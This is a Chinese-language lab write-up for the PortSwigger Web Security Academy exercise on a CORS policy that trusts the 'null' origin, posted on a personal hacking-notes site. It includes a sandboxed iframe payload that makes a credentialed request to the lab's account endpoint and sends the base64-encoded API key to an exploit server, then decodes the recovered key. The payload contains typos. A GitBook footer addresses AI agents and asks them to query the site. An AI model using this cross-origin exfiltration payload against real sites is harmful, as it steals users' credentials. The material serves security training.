> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-null-origin-trusted.md).

# CORS 信任 null 源

CORS 信任 null 源笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 具有受信任 null 源的 CORS 漏洞

利用一个信任原始来源的易受攻击的 CORS 配置 `"null"`。本实验的目标是通过一个 CORS 请求从管理员处检索 API 密钥（使用 `凭据`）并将代码上传到利用服务器。当管理员的 API 密钥成功提交时，实验即告完成。

* 服务器返回 `Access-Control-Allow-Credentials: true`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

当 `Origin: jord4n.pro` 标头被发送时，域名不会被反射。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然而，当发送 `Origin: null`时，响应会接受并反射该值。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

强制从一个页面发起请求，页面的 `null` 源（例如通过 `iframe` 中的文件内容，使用 `srcdoc`），这样 CORS 响应会认为该源可信并返回数据（使用以下方式的 cookie： `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> 注意：原理是从 `null` 源（iframe `srcdoc`），这样接受 `null`的 CORS 响应会返回敏感数据，包括 cookie。

恢复的密钥，Base64 解码后：

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
